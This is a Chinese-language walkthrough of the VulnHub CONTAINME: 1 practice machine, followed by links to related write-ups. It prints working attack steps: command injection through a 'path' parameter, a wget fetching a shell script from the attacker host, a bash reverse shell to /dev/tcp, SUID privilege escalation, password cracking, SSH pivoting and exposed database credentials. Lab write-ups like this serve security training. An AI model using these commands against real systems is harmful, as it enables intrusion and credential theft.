vulnhub靶场之CONTAINME: 1
准备:
攻击机:虚拟机kali、本机win10。
靶机:CONTAINME: 1,下载地址:https://download.vulnhub.com/containme/THM-ContainMe-v4.ova,下载后直接vm打开即可。
知识点:命令执行、ffuf爆破参数、hxd使用、ida使用(逆向)、john爆破、可疑文件提权、mysql基本操作。
信息收集:
通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 172.20.10.0/24,获得靶机地址:172.20.10.3。
扫描下端口对应的服务:nmap -T4 -sV -p- -A 172.20.10.3,显示开放了22、80、2222、8022端口,开启了ssh、http服务。
目录扫描:
使用dirmap对80端口进行目录扫描,发现了index.php、info.php、index.html文件。
访问index.php返回一个目录信息,在其源代码信息中出现隐藏信息:where is the path ?,猜测这里应该是存在参数并且可能执行了ls -al之类的系统命令。
参数爆破:
使用ffuf进行参数爆破,命令:ffuf -u 'http://172.20.10.3/index.php?FUZZ=../../../../../../etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/common.txt -fs 329,成功获得参数名称:path。最后的-fs是为了过滤下无用的返回信息,需要根据具体情况进行调整,这里使用-fs 329就可以。
使用获得path参数输入命令:;id或|id进行测试,发现确实存在命令执行漏洞。
获取shell:
测试时直接使用bash、nc无法反弹shell,通过echo写入脚本文件也是无法写入成功的,后来使用命令:ls -al /查看了下目录权限,发现只有/tmp目录才具有写入权限,但是使用echo往/tmp写入仍是失败。
后来只能在本地写好脚本然后开启http服务,通过命令执行漏洞下载该脚本,命令:;wget -P /tmp http://172.20.10.2:8000/shell.sh。然后通过命令:;ls -al /tmp可以查看上传的脚本信息。如果不确定上传的目录,可以通过ls -al /查看下具有写入权限的目录,不过一般/tmp都可以写入。
#!/bin/bash
bash -c 'bash -i >&/dev/tcp/172.20.10.2/6688 0>&1'
写入脚本文件后在kali端开启对6688端口的监听,命令:nc -lvvp 6688,然后利用命令执行漏洞使用bash进行执行shell.sh文件,命令:bash /tmp/shell.sh,成功获得shell权限。
尝试提权:
查看下当前账户是否存在可以使用的特权命令,sudo -l,但是这个方法这里行不通。
原来想去/home目录下查找下flag文件,但是在/home/mike目录下发现了一个可疑文件,执行该文件结果如下。
使用strings、strace查看或调试该文件信息,但是均失败,显示不存在该命令,想用python开启web服务下载该文件也是失败。
逆向代码信息:
那就只能查看下该文件的二进制数据,命令:xxd -ps /home/mike/1cryptupx。
使用hxd将十六进制编码恢复并导出为1cryptupx文件。
使用ida打开1cryptupx文件,查看下其代码信息并对代码信息进行分析,发现是当我们输入的密码与hash值比对正确时时会执行/bin/bash,那就将hash值复制下来进行爆破,命令:john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt,成功得到密码:mike。
提权至root:
加上密码:mike执行1cryptupx文件,但是返回的仍是www-data权限。
那我们查看当前用户下具有root权限的可执行文件都有哪些,命令:find / -perm -4000 -type f 2>/dev/null,发现了:/usr/share/man/zh_TW/crypt,看到名字和1cryptupx都具有crypt。
查看该文件权限显示当前账户具有可执行权限,使用获得密码:mike进行执行,成功获得root权限,但是未发现flag值,但是发现root后面显示是host1,猜测是否存在另一个虚拟镜像。
提权2:
查看主机ip发现两个新的ip地址:192.168.250.10、172.16.20.2,emmmm接着搞吧。使用nmap对该地址进行扫描,命令:nmap -sn 172.16.20.0/24,但是容器中未安装nmap,需要自己安装:apt install nmap,扫描完成之后发现了172.16.20.6。
扫描下主机172.16.20.6开放的端口对应的服务:nmap -A 172.16.20.6,显示开放了22端口和ssh服务。
虽然开放了ssh服务,但是我们缺少登录密码进行登录,但是在mike账户下发现了密匙信息,因此尝试下使用mike账户的密匙信息进行登录,命令:ssh mike@172.16.20.6 -i id_rsa,成功登录。
查看下当前开启的服务,命令:ss -tuln,发现了mysql服务。
这里尝试了下常用的弱密码,最后password成功连接数据库,命令:mysql -umike -ppassword,然后在account数据库中发现了root账户和mike账户的密码信息:root/bjsig4868fgjjeog、mike/WhatAreYouDoingHere。
利用获得密码信息:root/bjsig4868fgjjeog、mike/WhatAreYouDoingHere切换成root账户,然后在root账户下的/root目录下发现mike.zip文件。
解压mike.zip文件需要输入密码,尝试使用mike账户的密码:WhatAreYouDoingHere进行解密,获得解密后的文件并读取文件信息,成功获取到flag值。
vulnhub靶场之CONTAINME: 1的更多相关文章
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Avengers Arsenal
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Pandavas
HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...
- VulnHub靶场学习_HA: Natraj
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
- VulnHub靶场学习_HA:Forensics
HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...
- Vulnhub靶场——DC-1
记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...
随机推荐
- .NET 反向代理-YARP 根据域名转发
前段时间发布过一个关于 YARP 的简单介绍,感兴趣的小伙伴恭请移步看看 .NET 反向代理-YARP - 一事冇诚 - 博客园 (cnblogs.com) 作为反向代理,必不可少的当然是根据域名代理 ...
- Lua脚本在Redis事务中的应用实践
使用过Redis事务的应该清楚,Redis事务实现是通过打包多条命令,单独的隔离操作,事务中的所有命令都会按顺序地执行.事务在执行的过程中,不会被其他客户端发送来的命令请求所打断.事务中的命令要么全部 ...
- ProxySQL(2):初试读写分离
文章转载自:https://www.cnblogs.com/f-ck-need-u/p/9278839.html 实现一个简单的读写分离 这里通过一个简单的示例实现ProxySQL的读写分离功能,算是 ...
- GitLab基础知识
GitLab基本介绍 GitLab是利用Ruby on Rails一个开源的版本管理系统,实现一个自托管的Git项目仓库,可通过Web界面进行访问公开的或者私人项目. 与Github类似,GitLab ...
- 24_Java8
Java8 一. Java8概述 Java8(又称JDK1.8)是Java语言开发的一个主要版本. Oracle公司于2014年3月18日发布Java8 支持Lambda表达式 函数式接口 新的Str ...
- Go微服务实战 - 用户服务开发(gRPC+Protocol Buffer)
概要 用户服务基本是每个互联网产品里必备的一个服务了,因为没有用户基本是什么也干不了.所以他的重要性不言而喻.本文主要介绍下如何开发一个用户微服务,以及他的详细开发流程. 目录 Go微服务实战 - 从 ...
- 浅谈-动态路由之OSPF的理解
路由 在网络中,路由相当于就是一张地图,让路由器知道这个对应的IP数据包应该往哪端口.网段走:而这个"地图"我们称之为路由表,不同的目的IP路由表的下一个跳也不同,其生成方式有又有 ...
- Windows常用快捷键及基本的Dos命令
Windows 常用快捷键 Ctrl + C: 复制 Ctrl + V: 粘贴 Ctrl + A: 全选 Ctrl + X: 剪贴 Ctrl + Z: 撤销 Ctrl + S: 保存 Alt + F4 ...
- ExceptionHandler配合RestControllerAdvice全局处理异常
Java全局处理异常 引言 对于controller中的代码,为了保证其稳定性,我们总会对每一个controller中的代码进行try-catch,但是由于接口太多,try-catch会显得太冗杂,s ...
- Kafka之概述
Kafka之概述 一.消息队列内部实现原理 (1)点对点模式(一对一,消费者主动拉取数据,消息收到后消息清除) 点对点模型通常是一个基于拉取或者轮询的消息传送模型,这种模型从队列中请求信息,而不是将消 ...